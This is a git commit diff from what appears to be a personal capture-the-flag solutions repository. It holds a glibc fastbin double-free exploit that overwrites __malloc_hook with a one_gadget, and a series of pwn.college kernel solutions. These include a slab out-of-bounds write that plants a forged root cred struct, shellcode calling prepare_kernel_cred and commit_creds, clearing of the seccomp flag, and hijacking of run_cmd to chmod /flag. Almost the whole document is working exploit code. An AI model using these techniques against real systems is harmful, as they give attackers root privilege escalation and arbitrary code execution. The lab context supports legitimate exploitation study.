Updated exploit.cpp of Level2 in KernelExploitation

FastBin/CaNaKMgF_remastered/answer.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python3
+# coding = utf-8
+
+# Env: Ubuntu 16.04.7 LTS, GLIBC 2.23-0ubuntu11.3
+
+from pwn import *
+context(arch = "amd64", os = "linux", log_level = "debug")
+context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
+
+p = process('./CaNaKMgF_remastered')
+elf = ELF('./CaNaKMgF_remastered')
+libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
+# gdb.attach(p, "")
+# time.sleep(1)
+
+def menu(option):
+    p.recvuntil("5. Run away\n")
+    p.sendline(option)
+
+def allocate(size, data):
+    menu("1")
+    p.recvuntil("Length? ")
+    p.sendline(f"{size}")
+    p.send(data)
+
+def free(index):
+    menu("3")
+    p.recvuntil("Num? ")
+    p.sendline(f"{index}")
+
+def read(index):
+    menu("4")
+    p.recvuntil("Num? ")
+    p.sendline(f"{index}")
+    data = p.recvuntil("\n1. Allocate\n")
+    return data[:-13]
+
+# Leak libc base
+allocate(0x100, 'a') # 0
+allocate(0x100, 'a') # 1
+free(0)
+main_arena_p88 = u64(read(0).ljust(8, b'\x00'))
+print(f"main_arena + 88: {hex(main_arena_p88)}")
+libc_base = main_arena_p88 - 0x3c4b78
+print(f"libc_base: {hex(libc_base)}")
+free(1)
+
+# Double free
+allocate(0x60, 'a') # 2
+allocate(0x60, 'a') # 3
+allocate(0x60, 'a') # 4
+free(2)
+free(3)
+free(2)
+
+# Overwrite __malloc_hook by fake a chunk at (char *)__malloc_hook - 0x23
+__malloc_hook = libc_base + libc.symbols['__malloc_hook']
+
+allocate(0x60, p64(__malloc_hook - 0x23)) # 5
+allocate(0x60, 'a') # 6
+allocate(0x60, 'a') # 7
+
+one_gadget = libc_base + 0xf03a4 # constraints: [rsp+0x50] == NULL
+allocate(0x60, b'a' * 0x13 + p64(one_gadget)) # 8
+free(6)
+free(6)
+
+p.interactive()

FastBin/CaNaKMgF_remastered/pseudo.c

@@ -0,0 +1,33 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+char* alloc_list[100];
+unsigned int alloc_idx = 0;
+int main() {
+  unsigned int option, size, index;
+  while (1) {
+    scanf("%u", &option);
+    switch (option) {
+      case 1: { // allocate(size, data)
+        scanf("%u", &size);
+        char *buf = malloc(size);
+        read(0, buf, size);
+        alloc_list[alloc_idx++] = buf;
+        break;
+      }
+      case 3: { // free(index)
+        scanf("%u", &index);
+        free(alloc_list[index]);
+        // alloc_list[index] is a 
+        // dangling pointer now
+        break;
+      }
+      case 4: { // read(index)
+        scanf("%u", &index);
+        puts(alloc_list[index]);
+        break;
+      }
+    }
+  }
+}
+

PwnCollege/KernelExploitation/.gitignore

@@ -0,0 +1 @@
+!*.ko

PwnCollege/KernelExploitation/Level1/exploit.c

@@ -0,0 +1,42 @@
+#include <stdio.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <string.h>
+#define CMD_PRINT 22274
+#define CMD_COPY_FLAG 22276
+#define CMD_COPY_TO_USER 22272
+#define CMD_COPY_FROM_USER 22273
+struct kheap_req_t {
+  void * ubuf;
+  size_t size;
+};
+int main() {
+    int fd = open("/proc/kheap", O_RDWR);
+    char buf[0x1000] = {0};
+    struct kheap_req_t req = {buf, 0};
+    req.size = 0x200;
+    memset(buf, '0', 0x1000);
+    ioctl(fd, CMD_COPY_FROM_USER, &req);
+    for (int i = 0; i < 0x1000; i++)
+      ioctl(fd, CMD_COPY_FLAG, &req);
+    req.size = 0x1000;
+    ioctl(fd, CMD_COPY_TO_USER, &req);
+    printf("%s", &buf[0x200]);
+    return 0;
+}
+
+// Protection:
+// - No KASLR. 
+// - CONFIG_SLAB_FREELIST_RANDOM=n
+// - CONFIG_SLAB_FREELIST_HARDENED=n
+
+// Debug:
+// Use `sudo cat /proc/modules` to get kernel module base.
+// gdb> add-symbol-file /challenge/challenge1.ko 0xffffffffc0000000
+// gdb> b kheap_open
+// gdb> b kheap_ioctl
+// An aligned slub slot is 0x200 bytes.
+
+// $ gcc exploit.c -o exploit

PwnCollege/KernelExploitation/Level2/exploit.cpp

@@ -0,0 +1,187 @@
+#include <cstdio>
+#include <cstring>
+#include <cstdint>
+#include <cstdlib>
+#include <ctime>
+#include <vector>
+
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+#define CMD_COPY_TO_USER 22272
+#define CMD_COPY_FROM_USER 22273
+#define CMD_EXE_FUNC_PTR 22274
+
+const uint64_t MODULE_BASE = 0xffffffffc0000000ull;
+const uint64_t commit_creds = 0xffffffff810b8bb0ull;
+
+struct cred {
+  uint64_t usage;
+  uint32_t uid;
+  uint32_t gid;
+  uint32_t suid;
+  uint32_t sgid;
+  uint32_t euid;
+  uint32_t egid;
+  uint32_t fsuid;
+  uint32_t fsgid;
+  unsigned int securebits;
+  uint64_t cap_inheritable;
+  uint64_t cap_permitted;
+  uint64_t cap_effective;
+  uint64_t cap_bset;
+  uint64_t cap_ambient;
+  unsigned char jit_keyring;
+  void *session_keyring;
+  void *process_keyring;
+  void *thread_keyring;
+  void *request_key_auth;
+  void *security;
+  void *user;
+  void *user_ns;
+  void *ucounts;
+  void *group_info;
+  union {
+    int non_rcu;
+    struct {
+      void *next;
+      void (*func)(void *head);
+    } rcu __attribute__((aligned(sizeof(void *))));
+  };
+};
+
+char buf[0x1000];
+struct kheap_req_t {
+  void * ubuf;
+  size_t size;
+} req = {buf, 0};
+std::vector<int> fds;
+
+
+
+int new_fd() {
+  return open("/proc/kheap", O_RDWR);
+}
+
+bool is_slots_adjacent(int attack_fd, int victim_fd) {
+  uint64_t * ptr;
+  // write to victim_fd
+  ptr = (uint64_t *) buf;
+  int rand_value = rand();
+  *ptr = rand_value;
+  req.size = 0x8;
+  ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
+  // read from attack_fd
+  req.size = 0x208;
+  ioctl(attack_fd, CMD_COPY_TO_USER, &req);
+  ptr = (uint64_t *) &buf[0x200];
+  if ((*ptr) == rand_value) {
+    printf("%d is adjacent to %d\n", attack_fd, victim_fd);
+    return true;
+  } else {
+    printf("%d isn't adjacent to %d\n", attack_fd, victim_fd);
+    return false;
+  }
+}
+
+int find_attack_object(int victim_fd) {
+  for (int i = 0; i < fds.size(); i++) {
+    if (is_slots_adjacent(fds[i], victim_fd)) 
+      return fds[i];
+  }
+  return -1;
+}
+
+void close_fds() {
+  for (int i = 0; i < fds.size(); i++) {
+    close(fds[i]);
+  }
+}
+
+// Refer to 
+// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
+// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
+void do_fake_cred(struct cred *fake_cred) {
+  memset(fake_cred, 0, sizeof(struct cred));
+  // placement new
+  new (fake_cred) cred {
+    .usage			= 1,
+    .uid			= 0,
+    .gid			= 0,
+    .suid			= 0,
+    .sgid			= 0,
+    .euid			= 0,
+    .egid			= 0,
+    .fsuid			= 0,
+    .fsgid			= 0,
+    .securebits		= 0,
+    .cap_inheritable	= 0,
+    .cap_permitted		= 0xFFFFFFFFFFFFFFFF,
+    .cap_effective		= 0xFFFFFFFFFFFFFFFF,
+    .cap_bset		= 0xFFFFFFFFFFFFFFFF,
+    // nm -a /challenge/vmlinux | grep symbol_name
+    .security = (void*)0xffffffff82a51560, // picked a kernel memory address and it worked
+    .user			= (void*)0xffffffff82a51560, // root_user
+    .user_ns		= (void*)0xffffffff82a51600, // init_user_ns
+    .ucounts		= (void*)0xffffffff82a53800, // init_ucounts
+    .group_info		= (void*)0xffffffff82a52fd8, // init_groups
+  };
+}
+
+int main() {
+  srand(time(NULL));
+
+  int times = 1;
+  int attack_fd, victim_fd = new_fd();
+  fds.push_back(victim_fd);
+  // try to find an attack chunk exactly before victim chunk
+  while ((attack_fd = find_attack_object(victim_fd)) == -1) {
+    if (times > 100) {
+      printf("heap spray failed\n");
+      return 0;
+    }
+    victim_fd = new_fd();
+    fds.push_back(victim_fd);
+    times++;
+  }
+
+  // fake a `struct cred` in victim chunk's `buf`
+  struct cred fake_cred;
+  do_fake_cred(&fake_cred);
+  memcpy(buf, &fake_cred, sizeof(struct cred));
+  req.size = sizeof(struct cred);
+  ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
+  // overwrite victim chunk's `func` to `commit_creds` via attack chunk's OOB
+  uint64_t * ptr = (uint64_t *)&buf[0x1f8];
+  *ptr = commit_creds;
+  req.size = 0x200;
+  ioctl(attack_fd, CMD_COPY_FROM_USER, &req);
+  // execute function pointer in kernel space
+  ioctl(victim_fd, CMD_EXE_FUNC_PTR, &req);
+  // syscall execve lead to kernel problems as `struct cred` is faked
+  // execve("/bin/sh", NULL, NULL);
+  // try change the mode of flag
+  chmod("/flag", 0777);
+
+  close_fds();
+  return 0;
+}
+
+// Protection:
+// - No KASLR.
+// - SMAP, SMEP On.
+// - CONFIG_SLAB_FREELIST_RANDOM=y
+// - CONFIG_SLAB_FREELIST_HARDENED=n
+// - CONFIG_RANDSTRUCT=n
+
+// Debug:
+// Use `sudo cat /proc/modules` to get kernel module base.
+// gdb> add-symbol-file /challenge/challenge2.ko 0xffffffffc0000000
+// gdb> b kheap_open
+// gdb> b kheap_ioctl
+// An aligned slub slot is 0x200 bytes.
+
+// $ g++ exploit.cpp -o exploit -g

PwnCollege/KernelSecurity/Level10.0/exploit.c

@@ -0,0 +1,26 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+struct evil
+{
+  char buffer[256];
+  int (*log_function)(const char *, ...);
+} s;
+
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    memset(s.buffer, '0', 256);
+    write(fd, &s, 256);
+    uint64_t printk_addr;
+    scanf("%llx", &printk_addr);
+    s.log_function = printk_addr - 0xffffffffb90b69a9 + 0xffffffffb9089b30; // run_cmd
+    printf("%llx\n", s.log_function);
+    // run_cmd doesn't use stdin nor stdout. It also doesn't use current working directory. Its CWD is /. The executable should use absolute path.
+    strcpy(s.buffer, "/bin/chmod 666 /flag");
+    write(fd, &s, sizeof(struct evil) - 1);
+}

PwnCollege/KernelSecurity/Level11.0/shellcode.py

@@ -0,0 +1,48 @@
+import sys
+sys.path.append("..")
+
+from pwn import context, shellcraft
+from common import *
+context(arch = 'amd64', os = 'linux')
+
+kernel_assembly = f"""
+/* current->thread_info.flags &= ~(1 << TIF_SECCOMP); */
+mov     rdx, gs:0x15d00             /* runtime-relocated offsets */
+mov     rax, [rdx]
+and     ah, 0xfe
+mov     [rdx], rax
+/* commit_creds(prepare_kernel_cred(NULL)); */
+xor     rdi, rdi
+movabs  rsi, 0xffffffff81089660
+call    rsi                         /* prepare_kernel_cred */
+mov     rdi, rax
+movabs  rsi, 0xffffffff81089310
+call    rsi                         /* commit_creds */
+ret
+""".strip()
+
+kernel_machine_code = dump_machine_code(kernel_assembly)
+
+user_assembly = f"""
+{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
+{shellcraft.amd64.linux.write(3, "rsp", len(kernel_machine_code))}
+/* Get current PID `cpid` */
+{shellcraft.amd64.linux.getpid()}
+/* Assume sub-process has PID `cpid + 1` */
+lea     rbx, [rax + 1]
+/* ptrace attach to sub-process */
+{shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_ATTACH', "rbx", 0, 0)}
+/* wait sub-process to stop */
+{shellcraft.amd64.linux.syscall("SYS_wait4", -1, 0, 0, 0)}
+"""
+
+for addr in range(0x404040, 0x4040a0, 0x8):
+    # Peek sub-process's data and output
+    user_assembly += shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_PEEKDATA', "rbx", addr, 'rsp')
+    user_assembly += shellcraft.amd64.linux.write(1, 'rsp', 8)
+
+user_machine_code = dump_machine_code(user_assembly)
+
+with open('shellcode.bin', 'wb') as f:
+    f.write(user_machine_code)
+    f.write(b'\xcc' * (0x1000 - len(user_machine_code)))

PwnCollege/KernelSecurity/Level12.0/shellcode.py

@@ -0,0 +1,79 @@
+import sys
+sys.path.append("..")
+
+from pwn import context, shellcraft
+from common import *
+context(arch = 'amd64', os = 'linux')
+
+kernel_assembly = f"""
+.equ    page_offset_base_min, 0xffff888000000000
+.equ    page_offset_base_max, 0xffff888000000000 + 2029520 * 1024
+
+movabs  rbx, page_offset_base_min
+
+loop_start:
+mov     rdx, page_offset_base_max
+cmp     rbx, rdx
+ja      loop_end
+lea     rdi, [rip + flag_startwith_string]
+lea     rsi, [rbx + 0x40]
+call    str_startwith
+test    rax, rax
+jz      loop_next
+lea     rdi, [rbx + 0x40]
+call    send_message
+loop_next:
+add     rbx, 0x1000
+jmp     loop_start
+loop_end:
+ret
+int     3
+
+str_startwith:
+    /* const char * comparee in `rdi`, end with 0x00; const char * comparer in `rsi`  */
+    /* Clobber: rax, rdi, rsi, rcx */
+    push    rdi
+    {shellcraft.amd64.strlen('rdi', 'rcx')}
+    pop     rdi
+    cld
+    repe cmpsb
+    jz      str_startwith_stop
+    xor     rax, rax
+    ret
+str_startwith_stop:
+    mov     rax, 1
+    ret
+    int     3
+
+send_message:
+    /* const char * message in `rdi` */
+    /* Clobber: all volatile registers */
+    lea     rsi, [rip + run_cmd_buffer]
+    {shellcraft.amd64.strcpy('rsi', 'rdi')}
+    lea     rdi, [rip + run_cmd_arg]
+    movabs  rsi, 0xffffffff81089b30             /* run_cmd */
+    call    rsi
+    ret
+    int     3
+
+flag_startwith_string:
+    .ascii  "pwn.college"
+    .byte   0x7B, 0x00
+run_cmd_arg:
+    .ascii  "/home/hacker/KernelSecurity/Level12.0/write "
+run_cmd_buffer:
+    .byte   0x00
+""".strip()
+
+kernel_machine_code = dump_machine_code(kernel_assembly)
+
+user_assembly = f"""
+{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
+{shellcraft.amd64.linux.write(3, "rsp", len(kernel_machine_code))}
+""".strip()
+
+user_machine_code = dump_machine_code(user_assembly)
+
+with open('shellcode.bin', 'wb') as f:
+    f.write(user_machine_code)
+    f.write(b'\xcc' * (0x1000 - len(user_machine_code)))

PwnCollege/KernelSecurity/Level12.0/write.c

@@ -0,0 +1,17 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main(int argc, char* argv[]) {
+    int fd = open("/home/hacker/KernelSecurity/Level12.0/output.txt", O_WRONLY | O_APPEND | O_CREAT, 0644);
+    for (int i = 1; i < argc; i++) {
+      write(fd, argv[i], strlen(argv[i]));
+      write(fd, "\n", 1);
+    }
+    close(fd);
+    return 0;
+}

PwnCollege/KernelSecurity/Level3.0/exploit.c

@@ -0,0 +1,8 @@
+#include <stdlib.h>
+#include <fcntl.h>
+#include <unistd.h>
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    write(fd, "oiwqgsfsdekebbgi", 0x10);
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level3.1/exploit.c

@@ -0,0 +1,8 @@
+#include <stdlib.h>
+#include <fcntl.h>
+#include <unistd.h>
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    write(fd, "ysrxhmxtsfctmnuv", 0x10);
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level4.0/exploit.c

@@ -0,0 +1,10 @@
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    ioctl(fd, 1337, "owibidryoofhkxuo");
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level4.1/exploit.c

@@ -0,0 +1,10 @@
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    ioctl(fd, 1337, "amykdifilzqobpdg");
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level5.0/exploit.c

@@ -0,0 +1,10 @@
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    ioctl(fd, 1337, 0xffffffffc0000000ull + 0x8edull);
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level5.1/exploit.c

@@ -0,0 +1,10 @@
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    ioctl(fd, 1337, 0xffffffffc0000000ull + 0xc2ull);
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level6.0/exploit.c

@@ -0,0 +1,24 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+__attribute__((naked))
+void shellcode() {
+    asm volatile(
+        "xor %rdi, %rdi\n"
+        "movabs $0xffffffff81089660, %rsi\n"
+        "callq *%rsi\n" // prepare_kernel_cred
+        "movq %rax, %rdi\n"
+        "movabs $0xffffffff81089310, %rsi\n"
+        "callq *%rsi\n" // commit_creds
+        "retq\n"
+    );
+}
+
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    write(fd, (void *)shellcode, 0x1F);
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level7.0/exploit.c

@@ -0,0 +1,34 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+struct ioctl_args {
+    uint64_t length;
+    uint8_t shellcode[0x1000];
+    uint64_t codeptr;
+}args;
+
+__attribute__((naked))
+void shellcode() {
+    asm volatile(
+        "xor %rdi, %rdi\n"
+        "movabs $0xffffffff81089660, %rsi\n"
+        "callq *%rsi\n" // prepare_kernel_cred
+        "movq %rax, %rdi\n"
+        "movabs $0xffffffff81089310, %rsi\n"
+        "callq *%rsi\n" // commit_creds
+        "retq\n"
+    );
+}
+
+int main() {
+    args.length = 0x1f;
+    memcpy(args.shellcode, shellcode, args.length);
+    args.codeptr = 0xffffc90000085000ull;
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    ioctl(fd, 1337, &args);
+    execve("/bin/bash", NULL, NULL);
+}

PwnCollege/KernelSecurity/Level8.0/shellcode.py

@@ -0,0 +1,36 @@
+import sys
+sys.path.append("..")
+
+from pwn import context, shellcraft
+from common import *
+context(arch = 'amd64', os = 'linux')
+
+kernel_assembly = f"""
+/* current->thread_info.flags &= ~(1 << TIF_SECCOMP); */
+mov     rdx, gs:0x15d00             /* runtime-relocated offsets */
+mov     rax, [rdx]
+and     ah, 0xfe
+mov     [rdx], rax
+/* commit_creds(prepare_kernel_cred(NULL)); */
+xor     rdi, rdi
+movabs  rsi, 0xffffffff81089660
+call    rsi                         /* prepare_kernel_cred */
+mov     rdi, rax
+movabs  rsi, 0xffffffff81089310
+call    rsi                         /* commit_creds */
+ret
+""".strip()
+
+kernel_machine_code = dump_machine_code(kernel_assembly)
+
+user_assembly = f"""
+{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
+{shellcraft.amd64.linux.syscall("SYS_write", 3, "rsp", len(kernel_machine_code))}
+{shellcraft.amd64.linux.cat("/flag")}
+""".strip()
+
+user_machine_code = dump_machine_code(user_assembly)
+
+with open('shellcode.bin', 'wb') as f:
+    f.write(user_machine_code)
+    f.write(b'\xcc' * (0x1000 - len(user_machine_code)))

PwnCollege/KernelSecurity/Level8.0/test_seccomp.c

@@ -0,0 +1,8 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/cred.h>
+MODULE_LICENSE("GPT");
+
+void* test_unset_seccomp_flag_in_thread_info_flags(void) {
+    return current->thread_info.flags &= ~(1 << TIF_SECCOMP);
+}

PwnCollege/KernelSecurity/Level9.0/exploit.c

@@ -0,0 +1,20 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+struct evil
+{
+  char buffer[256];
+  int (*log_function)(const char *, ...);
+} s;
+
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    strcpy(s.buffer, "/bin/chmod 666 /flag");
+    s.log_function = 0xffffffff81089b30ull; // run_cmd
+    // run_cmd doesn't use stdin nor stdout. It also doesn't use current working directory. Its CWD is /. The executable should use absolute path.
+    write(fd, &s, sizeof(struct evil) - 1);
+}

PwnCollege/KernelSecurity/common.py

@@ -0,0 +1,30 @@
+from pwn import asm, disasm, util
+import struct
+
+def i2f(x):
+    return struct.unpack('!d', struct.pack('!Q', x))[0]
+
+def f2i(x):
+    return struct.unpack('!Q', struct.pack('!d', x))[0]
+
+def dump_machine_code(assembly: str):
+    machine_code = asm(assembly)
+    print("Assembly:")
+    print(assembly)
+    print("Byte Array:", list(machine_code))
+    padding = b"\xcc" * ((4 - len(machine_code)) % 4)
+    unpacked_signed_array = util.packing.unpack_many(machine_code + padding, 32, endian='little', sign=True)
+    unpacked_unsigned_array = util.packing.unpack_many(machine_code + padding, 32, endian='little', sign=False)
+    print("Signed DWord Array:", unpacked_signed_array)
+    print("Unsigned DWord Array:", unpacked_unsigned_array)
+    print("Hex DWord Array:", list(map(hex, unpacked_unsigned_array)))
+    padding = b"\xcc" * ((8 - len(machine_code)) % 8)
+    unpacked_signed_array = util.packing.unpack_many(machine_code + padding, 64, endian='little', sign=True)
+    unpacked_unsigned_array = util.packing.unpack_many(machine_code + padding, 64, endian='little', sign=False)
+    print("Signed QWord Array:", unpacked_signed_array)
+    print("Unsigned QWord Array:", unpacked_unsigned_array)
+    print("Hex QWord Array:", list(map(hex, unpacked_unsigned_array)))
+    print("Double Array:", list(map(i2f, unpacked_unsigned_array)))
+    print("Disassembled-assembly:")
+    print(disasm(machine_code))
+    return machine_code